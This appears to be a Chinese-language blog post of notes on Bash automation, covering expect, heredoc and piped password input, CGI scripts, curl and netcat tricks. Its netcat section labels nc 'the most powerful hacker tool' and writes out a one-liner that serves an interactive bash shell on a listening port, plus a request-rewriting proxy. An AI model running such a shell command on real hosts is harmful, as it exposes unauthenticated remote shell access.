Bash自动化

作者: InsaneLoafer | 来源:发表于2021-08-09 08:15 被阅读0次

自动化交互

  • 批处理并不等于自动化
  • 让交互程序实现非交互执行
  • 借用第三方工具expect

自动输入方法.

  • <<文档字符串。可以实现对序列化输入的操作自动化
  • 管道方式 echo 'pasword' I passwd
  • 去掉 sudo 密码提示,也可通过修改sudoer文件
  • 去掉ssh密码,也可以通过添加认证
  • expect

except

image.png

实用命令

一-键搭建web网站

  • python2 -m CGIHTTPServer 8000
  • python3 -m http.server -cgi 8000

CGI-Bin技术

#!/ bin/ bash
echo "Content-type: text/html"
echo ""
curl http://www.baidu.com/s?$QUERY_STRING 2>/dev/null
  • 把代码放到cgi-bin目录下,增加可执行权限
  • 使用apache或者python server运行

处理post请求

cgi() {
  echo -e "Content-type:text/plain\n\n"
  echo $REQUEST_METHOD
  if [ "$REQUEST METHOD" = "POST" ]; then
    read -n $CONTENT_LENGTH post
    echo $post
  fi
}

curl网络请求

  • get
  • post
  • cookie

jq

最强大的黑客工具nc

  • 端口转发:cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
  • 转发请求并修改内容
mkfifo /tmp/fifo
nc -lk 8080 < /tmp/fifo \
| sed -l -e 's/^Host.*/Host:site.baidu.com/' | tee -a /tmp/req.log \
| nc site.baidu.com 80 | tee -a /tmp/res > /tmp/fifo
  • 反弹Shell:cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo

相关文章

  • Ubuntu安装C#语言开发环境

    使用Bash自动化安装 先下载Bash脚本(Linux/macOS),运行脚本 或者使用包管理器安装 或者手动安装...

  • Bash自动化

    自动化交互 批处理并不等于自动化 让交互程序实现非交互执行 借用第三方工具expect 自动输入方法. <<文档字...

  • Gulp如何使用

    gulp 自动化工具 ->基于node官网 http://gulpjs.com/ 使用Git Bash或...

  • missing之bash脚本编写-1

    Bash脚本编程在平时的工作中可以起到解放生产力的作用。因为通过bash脚本可以将繁琐,可重复的工作进行自动化运行...

  • node.js

    Node 自动化部署 这样做固然没错,但是一旦项目更新迭代过快,就需要不断的重复着上面的步骤,在各种 bash 面...

  • Shell系列(一)创建shell程序与shell变量

    知乎高票回答:Bash处理一次性的琐碎事物,Python处理自动化,代码量较大的的维护任务。而需要效率的任务交给C...

  • 利用脚本打包成.ipa文件并上传到蒲公英

    前段时间学习了下关于自动化打包相关知识,在网上东拼西凑终于完成了脚本打包功能,也学习到了BASH一些基本命令使用。...

  • bash脚本内部变量

    bash脚本内部变量 $BASH bash的程序文件的路径,如/bin/bash $BASH_ENV 该环境变量保...

  • Bash vs Python:你该使用哪个?

    两种编程语言都各有优缺点,它们在某些任务方面互有胜负。 Bash和Python是大多数自动化工程师最喜欢的编程语言...

  • 2020-01-08 gstreamer+graphviz

    @ bash @ c file @bash

网友评论

    本文标题:Bash自动化

    本文链接:https://www.haomeiwen.com/subject/eagqvltx.html